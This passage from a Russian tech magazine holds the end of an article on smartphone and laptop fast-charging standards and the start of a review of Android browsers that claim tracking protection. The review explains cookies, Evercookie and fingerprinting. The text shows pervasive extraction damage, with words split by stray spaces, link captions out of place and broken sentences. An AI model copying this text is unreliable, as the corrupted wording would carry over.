дите лей,  подоб но  кро ликам  пло дящих  несов мести мые  друг  с  дру гом  фор‐ 
маты быс трых зарядок, — потер пи, оста лось нем ного.

APPLE
Нес коль ко  особ няком  сто ит  ком пания  Apple  с  ее  линей ками  iPhone,  iPad
и MacBook. Здесь, к сожале нию, дела обсто ят так же не очень прос то — но тут
хотя бы мож но разоб рать ся.

Итак, пер вое: в смар тфо нах  iPhone быс трой заряд ки нет. Ком пания Apple
заботит ся о сво их поль зовате лях, и заряжать  iPhone мож но от любых качес‐ 
твен ных  заряд ных  устрой ств,  сов мести мых  с  любым  стан дартом  быс трой
заряд ки.  Толь ко  заряжать ся  iPhone  все  рав но  будет  мед ленно.  Как  видим,
здесь все прос то. Ну, раз ве что iPhone 6s Plus и 7 Plus могут пот реблять чуть
более  высокий  ток,  если  их  под клю чить  к  ЗУ  от  iPad,  но  быс трой  заряд кой
здесь даже не пах нет.

Вто рое:  в  пос ледних  поколе ниях MacBook,  вклю чая модели  Pro,  заряд ка
ведет ся в пол ном, бук валь ном и дос кональ ном соот ветс твии стан дарту USB
PD 2.0. У тебя есть заряд ка PD от Dell, HP или Xiaomi, под держи вающая соот‐ 
ветс тву ющие пра вила? MacBook будет заряжать ся с пра виль ной ско ростью.

И третье: план шеты  iPad быс трой заряд ки не име ют,  iPad Pro 9.7 — тоже
нет, а вот  iPad Pro 12.9  (обе модели, 2015 и 2017 года) и  iPad Pro 10.5 под‐ 
держи вают  стан дарт  быс трой  заряд ки  USB  PD  2.0  по  про‐ 
филю  14,5  В  при  2  А  (мак сималь ная  мощ ность  29  Вт).  Изме рения  под‐ 
твержда ют  как  факт  быс тро го  заряда,  так  и  парамет ры  силы  тока  и  нап‐ 
ряжения.

Поз воль те,  а  где же  под вох? Ведь  не может  у  Apple  обой тись  без  под воха!
И  он  есть:  для  того  что бы  заряжать  iPad  Pro  12.9  или  10.5  с  мак сималь ной
ско ростью (гру бо говоря — за пол тора часа вмес то пяти на ком плектном ЗУ),
тебе пот ребу ется купить допол нитель но сов мести мый с USB PD 2.0 адап тер
питания  (разуме ется,  Apple  рекомен дует  собс твен ный,  от  MacBook
за  65  евро,  но  и    сто имостью  15  евро  мы  так же  про тес‐ 
тирова ли, и он прек расно сра ботал).

адап тер  от  Xiaomi

Но  это  не  все:  что бы  пош ла  быс трая  заряд ка,  тебе  пот ребу ется  фир‐ 
менный  кабель  от  Apple  с  разъ емом USB‐C  с  одной  сто роны  и  Lightning —
с  дру гой.  Сто имость  такого  кабеля —  29  евро,  и  сэконо мить  не  получит ся:
все про тес тирован ные нами подоб ные кабели с Aliexpress прек расно заряжа‐ 
ют  iPhone  и  iPad,  но  быс трая  заряд ка  не  работа ет.  Свя зано  это  с  тем,  что
кабели  USB‐C  в  прог рамму  MFi‐сер тифика ции  от  Apple  не  вхо дят,  так  что
единс твен ный  пол ностью  сов мести мый  кабель  про изво дит  исклю читель но
Apple.

БУДУЩЕЕ НЕ ЗА ГОРАМИ: QUICK CHARGE 4.0 И 4.0+
По хоже, успе хи USB‐IF на ниве стан дарти зации про цес са заряд ки начина ют
при носить  свои  пло ды,  и  пос ледние  вер сии  Qualcomm  Quick  Charge
4.0 и 4.0+ осно выва ются имен но на стан дарте USB Power Delivery, рас ширяя
и детали зируя его в нуж ных мес тах. Важ но здесь даже не то, что QC 4.0 дол‐ 
жен стать «еще быс трее» или «еще эффектив нее» по срав нению с пред шес‐ 
твен ником.

Ог ромное зна чение име ет сов мести мость с сущес тву ющим пар ком заряд ных
устрой ств: телефо ны с Quick Charge 4.0 смо гут получить мак сималь ную мощ‐ 
ность  .как от заряд ных устрой ств QC 3.0, так и от USB Type‐C 1.2 и USB PD

Кро ме  того,  QC  4.0  наконец  получил  воз можность  опре делять  качес тво
кабеля (счи тыва нием пас сивно го мар кера иден тифика ции по стан дарту USB
PD) и подавать более высокий ток при понижен ном нап ряжении при исполь‐ 
зовании кабелей, соот ветс тву ющих стан дартам Power Delivery. Впро чем, этот
момент — зас луга стан дарта USB PD, а не ком пании Qualcomm.

На вер ное,  основным  отли чием  QC  4.0+  от  «прос то»  QC  4.0  ста ла  воз‐ 
можность (опци ональ ная) для про изво дите лей исполь зовать для заряда акку‐ 
муля тора две парал лель ные линии.

Об рати вни мание, на этом офи циаль ном слай де с пре зен тации Qualcomm
нарисо вана под дер жка Dual Charge и у пре дыду щего стан дарта QC 3.0. Нам
не  попада лось  ни  одно го  устрой ства  с  QC  3.0,  осна щен ного  дан ной  тех‐ 
нологи ей.

По доб ную схе му уже дав но исполь зует OPPO в сво ем стан дарте VOOC. Дей‐ 
стви тель но, парал лель ная подача более низ кого тока на две отдель ные бан ки
акку муля тора спо соб на и зарядить быс трее, и умень шить наг рев. Как ни пос‐ 
мотри  —  сплош ные  плю сы.  Минус  —  от  про изво дите лей  пот ребу ется
еще более  тща тель ный кон троль за  качес твом банок акку муля торов, а сами
акку муля торы при дет ся осна щать боль шим чис лом кон тактов; схе ма заряд ки
и питания устрой ства еще усложнит ся.

К сожале нию, судь ба нового стан дарта пока дос таточ но смут ная. QC 4.0 был
анон сирован  даже  чуть  рань ше  выхода  на  рынок  чип сета  Snapdragon
835 и дол жен был  вой ти  в  смар тфо ны,  работа ющие под  управле нием это го
чип сета. Но ни в аме рикан ской вер сии Samsung Galaxy S8, ни в Xiaomi Mi6,
ни  в  Motorola  Moto  Z2  Force,  ни  тем  более  в  OnePlus  5  ничего  подоб ного
не наб люда ется. Единс твен ный на сегод ня смар тфон, под держи вающий QC
4.0+ (сра зу с «плю сом»), — Nubia Z17. Одна малень кая проб лема: в при роде
не  сущес тву ет  заряд ных  устрой ств  с  под дер жкой QC  4.0,  так  что 

.
в  короб ку

положи ли заряд ку на «ста ром» стан дарте QC 3.0
Спус тя пол года с начала про даж телефо нов на SD 835 заряд ных устрой ств

с QC  4.0  так  и  не  появи лось.  Ситу ация  выг лядит  стран но  и,  пря мо  ска жем,
совер шенно иди отским обра зом.

Cущес тву ет  по  край ней  мере  один  адап тер  питания,  одновре мен но  под‐ 
держи вающий  стан дарты  USB  Type‐C  1.2,  USB  PD  2.0  и  Qualcomm  QC
3.0 на единс твен ном разъ еме USB Type‐C.

Блок питания про изводс тва Xiaomi

Этот адап тер быс тро заряжа ет все: ноут буки Dell и HP (смот ри на мощ ность
ори гиналь ного  адап тера),  Apple  MacBook,  смар тфо ны  Moto  Z,  Lumia
950  и  950XL,  а  так же  устрой ства  с Quick Charge  3.0  (про вери ли,  работа ет).
Более того, с соот ветс тву ющим кабелем USB‐C → Lightning за пол тора часа
заряжа ется и iPad Pro 12.9. Единс твен ное устрой ство, которое «не завелось»
от  это го  адап тера,  —  смар тфон  Gigaset  ME,  а  OnePlus  5  спо собен  взять
от адап тера не более 1,5 А при нап ряжении 5 В.

↔
Что будет, если под клю чить телефон с QC 3.0 к заряд ному устрой ству с под‐ 
дер жкой QC 2.0? Получит ся быс трая заряд ка по про токо лу QC 2.0, но с боль‐ 
шинс твом  защит ных  механиз мов  от QC  3.0  (то  есть  акку муля тор  не  дол жен
будет перег ревать ся так силь но, как он перег ревал ся бы, если бы в телефо не
сто ял кон трол лер от QC 2.0). В целом будет чуть мед леннее и чуть горячее,
чем если бы ты исполь зовал заряд ное устрой ство с QC 3.0.

А  если,  наобо рот,  телефон  с  QC  2.0  под клю чить  к  заряд ке  с  QC  3.0?
Эффект будет пол ностью ана логи чен исполь зованию QC 2.0 на обо их кон цах:
и  перег рев  акку муля тора,  и  ско рость  заряда  будут  точ но  такими  же,
как если бы ты исполь зовал пре дыду щее поколе ние заряд ных устрой ств.

↔
А  если  в  заряд ку  с  USB  PD  2.0  или  3.0  под клю чить  смар тфон,  под держи‐ 
вающий стан дарт Qualcomm QC 3.0? Здесь воз можны вари анты. Некото рые
про изво дите ли пре дус мотре ли такую воз можность, и их смар тфо ны возь мут
от заряд ного устрой ства мак сималь но допус тимую мощ ность при 5 В / 3 А (на
прак тике обыч но чуть мень ше). Дру гие же будут спо кой но заряжать ся с силой
тока от 1,5 до 2,4 А. Ничего страш ного в любом слу чае ждать не сто ит.

А если к заряд ке QC 3.0 с разъ емом USB‐A под клю чить устрой ство, сов‐ 
мести мое с USB‐C 1.2 или USB PD? Здесь воз можны вари анты. Если кабель
«пра виль ный», с резис тором на 56 кОм, то беды не слу чит ся, заряд ка пой дет,
но  —  мед ленно.  Если  кабель  китай ский,  с  «неп равиль ным»  резис тором
на 10 кОм, то устрой ство может попытать ся получить 3 А при нап ряжении 5 В.
В прин ципе, стан дарт QC 3.0 под держи вает и  такую ком бинацию, и, ско рее
все го, боль ших неп рият ностей не будет, но... а что, если устрой ство, как Moto
Z  Force,  зап росит  5,7 А  (это  воз можно,  если  нуж но  зарядить  одновре мен но
сам  телефон  и  под соеди нен ный  к  нему  модуль ный  акку муля тор)?  Из  это го
ничего хороше го не вый дет.

А, допус тим, телефон с QC 2.0 и разъ емом USB‐C — в заряд ное устрой‐ 
ство от Lumia 950, Pixel или MacBook? В те смут ные вре мена про изво дите ли
сла бо пред став ляли, что такое USB Type‐C, поэто му на прак тике может про‐ 
изой ти  все  что  угод но.  В  луч шем  слу чае  телефон  будет  заряжать ся,  хоть
и  небыс тро.  Одна ко  у  нас  побыва ло  как  минимум  два  устрой ства,  которые
или  «не видят» под клю чен ного ЗУ вооб ще, или пишут  «Power connected:  not
charging» (и, соот ветс твен но, не заряжа ются).

Вы ясни лось  это  экспе римен таль но,  ког да  мы  нес коль ко  дней  пытались
ожи вить раз ряжен ный до нуля Gigaset ME Pro, под клю чая его к бло ку питания
то от MacBook,  то от Pixel. Помог ла в  конеч ном ито ге обыч ная «мед ленная»
заряд ка  —  толь ко  ее  смар тфон  сог ласил ся  рас познать.  Впос ледс твии  мы
экспе римен таль но  опре дели ли,  что  телефон  прек расно  заряжа ется  от  ЗУ
с  QC  2  .0,  QC  3.0  и  «обыч ных»,  вклю чая  компь ютер ные  пор ты,  но  нап рочь
отка зыва ется  вос при нимать  бло ки  питания,  которые  под держи вают  новые
спе цифи кации USB Type‐C 1.2  или USB PD  (в  том  чис ле  и  гиб ридные,  ком‐ 
биниро ван ные с QC 3.0).

↔
Что будет,  если  к мощ ному адап теру  питания USB‐C с  под дер жкой USB PD
2.0, ска жем от ноут бука HP Spectre x360 или MacBook Pro, под клю чить смар‐ 
тфон? Если это Lumia 950, Nexus 5X или 6P, Google Pixel, Motorola Moto Z —
пой дет  быс трая  заряд ка  по  про токо лу,  опи сан ному  в  спе цифи кации  USB
Type‐C 1.2 (то есть с мак сималь ной мощ ностью 15 Вт, или 5 В / 3 А). А если,
наобо рот, к заряд ке от Lumia 950 под клю чить MacBook или ноут бук HP Spec‐
tre  x360?  Компь ютер  зап росит  у  заряд ного  устрой ства  спи сок  под держи‐ 
ваемых  пра вил  (ком бинаций  нап ряжения  и  силы  тока),  не  най дет  нуж ных
и  либо  отка жет ся  заряжать ся  сов сем,  либо  будет  заряжать ся  очень  мед‐ 
ленно.

А если заряд кой от HP попытать ся заряжать MacBook или заряд ку от уль‐ 
тра бука Dell XPS 12 под клю чить к HP Spectre x360? Про изой дет ров но то же
самое: устрой ство зап росит спи сок под держи ваемых пра вил заряд ки и, если
най дет  сов мести мую  ком бинацию, будет  заряжать ся;  не  най дет — не будет
или будет, но мед ленно. К сло ву, мы про тес тирова ли ряд ком бинаций, выяс‐ 
нив,  что  заряд ка  от  MacBook  2015  заряжа ет  сам  MacBook  и  смар тфо ны;
заряд ка от Dell XPS 12 — собс твен но Dell и MacBook, а заряд ка от HP Spectre
x360, самая мощ ная из всех, заряжа ет все три устрой ства.

ЗАКЛЮЧЕНИЕ
Тех нологии  быс трой  заряд ки  эво люци они рова ли  парал лель но,  прой дя  неп‐ 
ростой путь от пер вого офи циаль ного стан дарта USB‐IF BC 1.2 до пос ледне‐ 
го  поколе ния  USB  Power  Delivery.  Дол гое  вре мя  парал лель но  сущес тво вав‐ 
шие стан дарты быс трой заряд ки были несов мести мы меж ду собой, и быс тро
зарядить  устрой ство,  осно ван ное  на  стан дарте  USB  Type‐C  1.2,  заряд ным
устрой ством с под дер жкой, к при меру, Qualcomm Quick Charge 3.0 не пред‐ 
став лялось воз можным. Более того, исполь зование слу чай но взя того кабеля
USB‐C мог ло при вес ти к печаль ным пос ледс тви ям.

К  счастью,  раз брод  и  шатание  ухо дят  в  прош лое.  Похоже,  что  все
основные стан дарты быс трой заряд ки от USB‐IF (PD 3.0), Qualcomm (QC 4.0)
и MediaTek (PE+ 3.0) будут осно ваны на одном и том же про токо ле USB Power
Delivery и будут кор рек тно понимать заряд ные устрой ства парал лель ных фор‐ 
матов. Да, спе цифи кация USB PD — это толь ко осно ва, опи сыва ющая лишь
про токол работы и спо собы переда чи энер гии меж ду  устрой ства ми. Детали
реали зации  —  кон троль  тем ператур ного  режима,  выбор  опти маль ных
парамет ров  нап ряжения  и  силы  тока —  оста ются  откры тыми.  Став ка  будет
делать ся  не  на  ско рость  заряда  в  ущерб  все му  осталь ному,  а  на  прос тоту
и сов мести мость реали зации, на прод ление ресур са акку муля тора, на энер‐ 
гоэф фектив ность самого про цес са заряда, умень шение наг рева и безопас‐ 
ность про цес са.

Но вые стан дарты Qualcomm QC 4.0 и MediaTek PE+ 3.0 будут рас ширени‐ 
ями  спе цифи кации  USB  Power  Delivery  2.0,  поз воля ющи ми  нам ного  точ нее
и  быс трее  регули ровать  ско рость  заряда,  ток  и  нап ряжение.  Мно гие  про‐ 
изво дите ли выберут спе цифи кацию USB PD в чис том виде (как это уже сде‐ 
лала, нап ример, Motorola в устрой ствах Moto Z, Z2, Google в смар тфо не Pixel),
и это тоже будет отличный выбор — разуме ется, если про изво дитель суме ет
самос тоятель но  пра виль но  нас тро ить  режимы  заряда.  Дру гие  пред почтут
вос поль зовать ся  готовым  решени ем  на  осно ве  Qualcomm  Quick  Charge
4.0 или MTK Pump Express+ 3.0, получив как пол ную сов мести мость со спе‐ 
цифи каци ей USB Power Delivery, так и ряд допол нитель ных пре иму ществ.

Мы искрен не жела ем стре митель ной и без болез ненной смер ти методам
быс трой  заряд ки  от  про изво дите лей,  которые  про дол жат  пло дить  несов‐ 
мести мые проп риетар ные сис темы (камень в ого род Huawei с их новым стан‐ 
дартом SuperCharge и кор порации OPPO с их стан дартом VOOC, а так же при‐ 
над лежащей  им  тор говой мар ки OnePlus  с  тем же  стан дартом,  но  под  наз‐ 
вани ем DASH Charge).

И пос леднее. Если хочешь мак сималь но прод лить срок служ бы акку муля‐ 
тора,  вос поль зуйся  при ложе нием    (тре бует ся  рут).  Осо‐ 
бен но хорошо работа ет для устрой ств, которые про водят боль шую часть вре‐ 
мени на заряд ке, — нап ример, при исполь зовании телефо на в качес тве авто‐ 
мобиль ного навига тора.

Battery  Charge  Limit

http://cdn-cw.mediatek.com/Features/Pump%20Express%20Series%20Introduction.pdf
https://www.androidcentral.com/dash-charge
http://www.androidauthority.com/vooc-fast-charging-686000/
http://www.hardwarezone.com.sg/review-xiaomi-45w-usb-c-power-adapter-review-i-still-cant-believe-thing-only-costs-s20
http://www.androidpolice.com/2016/11/17/qualcomm-announces-snapdragon-835-quick-charge-4-0-compatible-usb-power-delivery/
https://www.androidheadlines.com/2017/06/nubia-z17-doesnt-outright-support-quick-charge-4-0.html
https://forum.xda-developers.com/android/apps-games/root-battery-charge-limit-t3557002


ТЕСТИРУЕМ МОБИЛЬНЫЕ БРАУЗЕРЫ

ОТ ОТСЛЕЖИВАНИЯ
НА ANDROID С ЗАЩИТОЙ

Денис Погребной

X‐MOBILE

В Google Play и Apple App Store мож но най ти мно жес тво бра‐ 
узе ров  со  встро енным  бло киров щиком  рек ламы  и  защитой
от  отсле жива ния.  Их  раз работ чики  обе щают  нам  при ват‐ 
ность,  мол ниенос ную  ско рость  заг рузки  веб‐стра ниц  и,
конеч но  же,  рас ска зыва ют  об  уни каль ных  тех нологи ях,
заложен ных  в  их  про дукт.  Но  выпол няют  ли  бра узе ры  свои
фун кции на самом деле и что, в кон це кон цов, озна чает тер‐ 
мин «защита от отсле жива ния»?

Пред ставь себе кар тину: май, ты при ходишь в супер маркет и покупа ешь граб‐ 
ли.  Через  неделю  сно ва  заходишь,  и  навс тре чу  выбега ет  ора ва  про дав‐ 
цов‐кон суль тан тов,  напере бой  пред лагая  купить  раз личные  виды  граб лей.
Наибо лее  прод винутые  из  них  пыта ются  втю хать  тебе  тяп ки,  а  некото рые
даже лопаты. И никакие твои объ ясне ния, что весь инвентарь у тебя остался
с  прош лого  сезона  и  на  самом  деле  ты  зашел  купить  газоно косил ку,
не работа ют.

Ты  кое‐как  отби ваешь ся  от  кон суль тан тов,  прок ладывая  себе  дорогу
с помощью лопаты, которую они таки сумели тебе всу чить, и ухо дишь. Но по
пути домой замеча ешь на заборе рек ламный пла кат, который сооб щает, что
все  вла дель цы  граб лей,  куп ленных  на  прош лой  неделе  в  три  часа  дня,
и лопат, куп ленных сегод ня в 5:40, получа ют скид ку на опто вую пар тию семян
редиса, про дажей которо го занима ется ком пания из сосед него города.

Имен но  так  работа ет  тар гетиро ван ная  рек лама и  тре кинг  поль зовате лей
на  веб‐сай тах.  Ты  заходишь  на  сайт,  он  прис ваивает  тебе  иден тифика тор
и  начина ет  отсле живать  твои  дей ствия.  Если  эта  сис тема  дей ству ет  толь ко
в рам ках одно го веб‐сай та — ничего страш ного. Но сущес тву ет мас са кон тор
(в основном, но не толь ко рек ламных сетей), которые могут прос ледить твои
переме щения  по  мно гим  сай там  и  сос тавить  целую  кар ту  тво их  сетевых
похож дений и инте ресов.

Кро ме  кон фиден циаль нос ти,  так же  стра дает  и  ско рость.  Каж дый  тре‐ 
кинг‐скрипт, раз мещен ный на сай те, замед ляет заг рузку веб‐стра ницы, а ког‐ 
да их мно го — такое замед ление ста новит ся замет ным даже нево ору жен ным
гла зом.  Пару  лет  назад  раз работ чики Mozilla  про тес тирова ли  ско рость  заг‐ 
рузки  сай тов  с  вклю чен ным  режимом  защиты  и  без  него  и  ,  что
сред нее вре мя заг рузки стра ницы в режиме защиты от тре кин га сок ратилось
на 44%. На мобиль ных устрой ствах бло киров ка тре кин га дает и дру гой плюс:
мень шее количес тво получа емых дан ных.

вы ясни ли

МЕТОДЫ ОТСЛЕЖИВАНИЯ (ТРЕКИНГА) ПОЛЬЗОВАТЕЛЕЙ
В этой статье мы рас смот рим, как бороть ся с тре кин гом, но для начала раз‐ 
берем ся,  как  он  работа ет.  Тре кинг  —  это  отсле жива ние  поль зовате ля
с  помощью  раз личных  тех ник  иден тифика ции  бра узе ра.  Сущес тву ет
как минимум пять тех ник: Cookie, Evercookie, fingerprinting,  IP, поведен ческий
ана лиз.

Cookie
Са мый  древ ний  и  самый  интелли ген тный  спо соб  отсле жива ния.  Печень ки
как  раз  и  были  раз работа ны  для  иден тифика ции  поль зовате ля.  Прин цип
работы  очень  прост:  поль зователь  откры вает  сайт,  тот  зап рашива ет
информа цию из cookie, если информа ции нет, сайт реша ет, что поль зователь
на сай те впер вые, генери рует уни каль ный иден тифика тор и записы вает его (с
некото рой допол нитель ной информа цией о поль зовате ле) в cookie.

Те перь  (в  теории) при сле дующих визитах сайт смо жет рас познать поль‐ 
зовате ля  по  уни каль ному  иден тифика тору,  который  был  записан  в  cookie‐
фай лы  на  его  компь юте ре.  Понят ное  дело,  что  пос ле  очис тки  всех  cookie‐
фай лов  юзер  ста новит ся  ано ним ным  абсо лют но  для  всех  сай тов.  Одна ко,
кро ме HTTP Cookie, так же сущес тву ют Flash Cookie и Silverlight Cookie. И очи‐ 
щать их нуж но отдель но.

Evercookie
Дан ный  вид  тре кин га  мож но  сме ло  име новать  «про ектом  деано ними зации
интерне та». Он  сох раня ет  иден тифика тор  поль зовате ля  вез де,  где  это  воз‐ 
можно.  Исполь зуют ся  как  стан дар тные  хра нили ща:  HTTP,  Flash,  Silverlight
Cookie,  так и раз личные трю ки вро де PNG Cookies  (сер вер отда ет бра узе ру
инди виду аль ную кар тинку с записан ным в нее иден тифика тором, она попада‐ 
ет в кеш бра узе ра, и при пос леду ющем визите поль зовате ля сайт встав ляет
кар тинку в canvas и счи тыва ет записан ную в нее информа цию), а так же хра‐ 
нили ща HTML5 (Session Storage, Local Storage, Global Storage, Database Stor‐
age  через  SQLite  и  так  далее),  жур нал  посещен ных  веб‐стра ниц  (толь ко
для ста рых бра узе ров), ETag header,  java persistence API. Все,  что воз можно
исполь зовать, исполь зует ся.

Уда лить Evercookie очень слож но. Одна ко есть у него один недос таток —
так же как и в слу чае с кукиса ми, дан ные сох раня ются на жес ткий диск  (или
в NAND‐память телефо на). А это зна чит, что обыч ный режим инкогни то неуяз‐ 
вим перед Evercookie.

От печаток бра узе ра
В  этом  слу чае  поль зовате ля  рас позна ют,  счи тывая  дан ные  о  бра узе ре,  его
нас трой ках  и  устрой стве,  с  которо го  юзер  заходит  на  сайт.  Мно го  ли  этих
дан ных?  Да,  очень  мно го.  Самые  прос тые:  user  agent  (наз вание,  вер сия
и раз рядность бра узе ра  и ОС,  тип  устрой ства,  на  котором  уста нов лен бра‐ 
узер,  под держи ваемые  бра узе ром  фун кции  и  про чее),  язык  бра узе ра,
часовой  пояс,  раз решение  экра на,  глу бина  цве та,  под дер жка  тех нологий
HTML5 (при вет, любите ли копать ся в скры тых нас трой ках бра узе ра), наличие
doNotTrack,  cpuClass,  platform,  уста нов ленные пла гины и информа ция о  них,
шриф ты, дос тупные в сис теме.

Так же исполь зуют ся  и  раз личные  хит рые  тех ники: Canvas  Fingerprint, We‐
bGL Fingerprint, WebRTC Fingerprinting. По утвер жде нию соз дателей скрип тов,
веро ятность рас позна вания уже сей час пре выша ет 90%. А в некото рых слу‐ 
чаях сос тавля ет 99,(9)% (не так уж и мно го людей любят ста вить Canary‐вер‐ 
сию  Google  Chrome  и  копать ся  в  нас трой ках  chrome://flags  для  акти вации
новых  фишек  HTML5).  Недос таток  тех нологии:  на  прак тике  рас позна вание
не может быть стоп роцен тным, потому что осно вано на ста тис тичес ких дан‐ 
ных и веро ятность ошиб ки будет всег да.

От сле жива ние по IP
Ис поль зуя  твой  IP‐адрес,  мож но  узнать мес тополо жение  (час то  с  ошиб кой)
и имя про вай дера. Одна ко из‐за  пери оди чес кой  сме ны  IP  как  в  про вод ных,
так  и  в  бес про вод ных  сетях  этот  метод  край не  ненадеж ный  и  на  прак тике
исполь зует ся толь ко для приб лизитель ного опре деле ния мес тополо жения.

По веден ческий ана лиз
Иден тифика ция на осно ве инди виду аль ных осо бен ностей поведе ния и вку сов
поль зовате ля:  ско рос ти  дви жения  мыши,  любимых  филь тров  поис ка,  пред‐ 
почита емых  товаров,  ско рос ти  прос мотра  кар тинок,  час тоты  кли ков  и  так
далее.  Недос татки  оче вид ны:  для  отсле жива ния  дей ствий  нуж но  исполь‐ 
зовать тяжело вес ные скрип ты, которые будут не толь ко наг ружать канал, но и
тор мозить  компь юте ры.  Точ ность  рас позна вания  слиш ком  пла вающая
и слиш ком силь но зависит от раз личных фак торов.

КАК БРАУЗЕРЫ БОРЮТСЯ С ОТСЛЕЖИВАНИЕМ
Как  видишь,  есть  толь ко  два  надеж ных  метода  иден тифици ровать  поль‐ 
зовате ля:  Cookie  и  Evercookie.  Что бы  защитить ся  от  них,  дос таточ но  ходить
на  все  сай ты  в  режиме  инкогни то,  который  есть  прак тичес ки  в  любом  сов‐ 
ремен ном  бра узе ре.  Но  тог да  ты  стол кнешь ся  с  дру гой  проб лемой:  кро ме
отсле жива ния,  печень ки  при меня ются  и  для  мно гих  дру гих  полез ных  задач.
Нап ример, для хра нения токена авто риза ции, который поз воля ет не вво дить
свои логин и пароль при каж дом вхо де на сайт. На тра фике и ско рос ти заг‐ 
рузки стра ниц с помощью инкогни то тоже сэконо мить не получит ся.

Бра узе ры с защитой от отсле жива ния работа ют по‐дру гому: они исполь‐ 
зуют  чер ные  спис ки  тре кинг‐скрип тов  (вро де  )  и  прос то  бло киру ют  их
исполне ние.

та ких

В  боль шинс тве  бра узе ров  для  ано ним ного  сер финга  (Firefox  Focus,  Yo
Browser,  InBrowser,  Ghostery,  Cliqz  и  в  некото рых  обыч ных  бра узе рах)  так же
есть  воз можность  авто мати чес кой  очис тки  при ват ных  дан ных  при  выходе.
Для смар тфо на такой очис тки впол не хва тит, что бы спра вить ся с Evercookie.

С  отпе чат ком  бра узе ра  дела  обсто ят  слож нее,  потому  что  боль шинс тво
све дений  бра узер  переда ет  не  от  желания  рас ска зать  о  себе  поболь ше,
а  для  того,  что бы  веб‐стра ница  отоб ражалась  пра виль но.  Как  вари ант
защиты — бра узер может отправ лять све дения о себе, которые будут похожи
на мак сималь ное количес тво дру гих бра узе ров.

Для  тес та  бра узе ра  был  исполь зован  смар тфон  Samsung  Galaxy  S7  и  сле‐ 
дующие стра ницы:

https://xakep.ru•
https://xakep.ru/2017/08/15/mobile‐mesh/•
https://www.svyaznoy.ru/•
http://www.theworldsworstwebsiteever.com/•
http://www.samsung.com/ru/•

BRAVE
«Brave  выпол няет  мис сию  по  исправ лению  сети,  пре дос тавляя  поль зовате‐ 
лям более безопас ный, быс трый и удоб ный опыт исполь зования с помощью
новой  прив лекатель ной  эко сис темы  воз награж дения.  Brave  —  это  боль ше
чем бра узер, это новый спо соб мыш ления о том, как работа ет интернет».

Пос ле  таких  гром ких  выс казыва ний  ждешь  чего‐то  осо бен ного,  одна ко
спус тя пару минут пос ле уста нов ки бра узе ра понима ешь, что тут не так. Бра‐ 
узер пред став ляет собой Chromium с фун кци ями бло киров ки рек ламы и пре‐ 
дот вра щения отсле жива ния с воз можностью вклю чать/отклю чать бло киров ку
для отдель но взя того сай та.

Ос новное  отли чие  от  Chrome  —  нет  новос тей  на  глав ной  стра нице
и режима эко номии тра фика.
• Стра ница в Google Play
Дви жок: Blink•
Пот ребле ние ПЗУ (без уче та дан ных при ложе ния): 108 Мбайт•
Пот ребле ние ОЗУ (откры та толь ко домаш няя стра ница): 130 Мбайт•
Пот ребле ние ОЗУ (откры то пять тес товых сай тов): 372 Мбайт•
Ко личес тво заб локиро ван ных тре керов (для пяти тес товых сай тов): 29•

Глав ная стра ница бра узе ра и нас трой ка бло киров ки тре керов

IRON BROWSER
Бра узер, раз рабаты ваемый немец кой ком пани ей SRWare на осно ве исходно‐ 
го  кода  про екта  Chromium.  Появил ся  он  в  про тиво вес  бра узе ру  Google
Chrome,  который  отсле жива ет  дей ствия  поль зовате ля.  По  завере нию  соз‐ 
дателей, SRWare Iron не дела ет ничего подоб ного. Так же Iron исполь зует пос‐ 
ледние вер сии WebKit и V8, в то вре мя как Google Chrome базиру ется на ста‐ 
биль ных вер сиях.

По хож  на  Chrome  как  две  кап ли  воды.  В  отли чие  от  Brave,  оста лась
интегра ция  с  Google,  эко номия  тра фика  и  лен та  новос тей  (рекомен дуемые
статьи) на глав ном экра не. Про изво дите лем заяв лена защита от отсле жива‐ 
ния, толь ко вот нас тро ить ее нель зя.
• Стра ница в Google Play
Дви жок: Blink•
Пот ребле ние ПЗУ (без уче та дан ных при ложе ния): 98,71 Мбайт•
Пот ребле ние ОЗУ (откры та толь ко домаш няя стра ница): 152 Мбайт•
Пот ребле ние ОЗУ (откры то пять тес товых сай тов): 440 Мбайт•
Ко личес тво заб локиро ван ных  тре керов  (для пяти  тес товых сай тов):  неиз‐ 
вес тно

•

Ну чем не Chrome?

FIREFOX FOCUS
Это  очень  прос той  бра узер  без  лиш них  фун кций.  О  при ват ности  бра узе ра
напоми нает  кно поч ка  кор зины,  которая  отоб ража ется  на  любой  стра нице
при прок рутке вверх. Пос ле нажатия на кноп ку кор зины вся исто рия бра узе ра
и  сох ранен ные  дан ные  очи щают ся.  Так же  кноп ка  очи щения  исто рии  есть
в штор ке с уве дом лени ями.

Бра узер  уме ет  бло киро вать  тре керы  рек ламы  и  ана лити ки,  соци аль ные
тре керы  и  дру гие.  Есть  режим  «Невидим ка» —  фун кция  бло киров ки  скрин‐ 
шотов, которая зак рыва ет дос туп к содер жимому окна бра узе ра. Из‐за это го
даже  ани мация  вык лючения  экра на  не  работа ет.  Зато  невоз можно  перех‐ 
ватить содер жимое, отоб ража емое на дис плее.

В отли чие от кон курен тов, Firefox Focus не скры вает свои чер ные спис ки,
через которые он бло киру ет тре керы.  .Под робная информа ция
• Стра ница в Google Play
Дви жок: Blink (на прос торах интерне та есть вер сия на движ ке Gecko)•
Пот ребле ние ПЗУ (без уче та дан ных при ложе ния): 6,96 Мбайт•
Пот ребле ние ОЗУ (откры та толь ко домаш няя стра ница): 44,1 Мбайт•
Пот ребле ние  ОЗУ  (открыт  один  тес товый  сайт):  65  Мбайт  (под дер жка
вкла док отсутс тву ет, была откры та  )

•
на ша статья про мобиль ный mesh

Ко личес тво заб локиро ван ных тре керов (для пяти тес товых сай тов): 43•

Ми нима лизм во всей кра се

YO BROWSER
В  опи сании  на  Play  Market  голимая  рек лама  и  ничего  кон крет ного,  а  офи‐ 
циаль ный  сайт  находит ся  в  раз работ ке.  Впол не  мож но  было  прой ти  мимо,
но  заяв ление  «Yo  Browser  обес печива ет  не  толь ко  лег кое  поль зование
интерне том, но и вашу кон фиден циаль ность и безопас ность» таки зас тавило
нас вклю чить этот бра узер в тест.

В бра узе ре есть инте рес ная фун кция быс тро го откры тия режима инкогни‐ 
то: пос ле нажатия ссыл ки всплы вает пред ложение выб рать, в каком режиме
ее открыть,  обыч ном или инкогни то. При выходе пред лага ет  почис тить  кеш,
cookie, исто рию. Мож но вклю чить авто очис тку при выходе.

Есть ноч ной режим, бла года ря которо му фон и некото рые эле мен ты боль‐ 
шинс тва сай тов окра шива ются в чер ный цвет, а так же встро енный ска нер QR‐
кодов.  Мож но  заб локиро вать  отоб ражение  изоб ражений  и  рек ламы.  Так же
